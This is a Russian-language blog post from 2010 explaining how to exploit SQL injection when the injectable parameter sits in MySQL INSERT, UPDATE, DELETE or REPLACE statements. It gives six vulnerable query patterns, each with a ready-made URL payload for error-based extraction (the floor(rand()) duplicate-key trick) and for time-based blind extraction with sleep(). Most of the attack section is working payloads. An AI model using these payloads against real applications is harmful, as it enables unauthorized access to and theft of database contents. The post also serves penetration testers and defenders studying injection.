1 Февраля, 2010

Эксплуатация SQL Injection в Insert, Update, Delete, etc

Dmitriy Evteev
К данной публикации меня сподвигла появившееся на днях тема в форуме sla.ckers.org ( SQL Injection, MySql, INSERT INTO ). SQL-инъекцию довольно часто можно встретить в SELECT-запросе. Но ровно также уязвимый параметр к проведению инъекции может попасть и в конструкции Insert, Update, Delete, Replace и пр. Рассмотрим, каким же образом в подобных случаях можно получить максимум пользы с позиций атакующего. Стоит сразу же отметить, что в серьезных СУБД, таких как Oracle, Microsoft SQL Server и им подобным существует возможность разделения запросов через точку с запятой. Поэтому для таких баз данных можно, например, выполнять insert, когда инъекция попадает в select-запрос и наоборот. Рассмотрим следующие уязвимые SQL-запросы на примере insert и update, где sqli это уязвимый параметр к проведению атаки "Внедрение операторов SQL": /*(1)*/ insert into test (id,a) values (1,'sqli');/*(2)*/ insert into test (id,a) values (sqli,'test');/*(3)*/ insert into test set id=sqli;/*(4)*/ insert into test set a='sqli';/*(5)*/ update test set id=sqli where...;/*(6)*/ update test set a='sqli' where...; Метод error-based (MySQL): (1) http://serv/?sqli=1')on duplicate key update a=(select 1 from(select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a)-- (2) http://serv/?sqli=1,(select 1 from(select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a))-- (3) http://serv/?sqli=1 on duplicate key update a=(select 1 from(select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a) (4) http://serv/?sqli=1'on duplicate key update a=(select 1 from(select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a)-- (5) http://serv/?sqli=1 where (1)=(select 1 from(select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a)-- (6) http://serv/?sqli=1'where (1)=(select 1 from(select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a)-- Аналогичным образом атака может быть реализована в запросах delete, replace и пр. Как вариант, может использоваться конструкция "order by". Например: delete from test where id = sqli; http://serv/?sqli=1 order by (select 1 from(select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a)-- Метод time-based (MySQL): (1) http://serv/?sqli=1'),((if(ascii(mid('pass',1,1))=112,(sleep(10)),1)),'')-- (2) http://serv/?sqli=1,(if(ascii(mid('pass',1,1))=112,(sleep(10)),1)))-- (3) http://serv/?sqli=1,a=(if(ascii(mid('pass',1,1))=112,(sleep(10)),1)) (4) http://serv/?sqli=1',id=(if(ascii(mid('pass',1,1))=112,(sleep(10)),1))-- (5) http://serv/?sqli=1 order by (if(ascii(mid('pass',1,1))=112,(sleep(1)),1))-- (6) http://serv/?sqli=1' order by (if(ascii(mid('pass',1,1))=112,(sleep(1)),1))--
или введите имя

CAPTCHA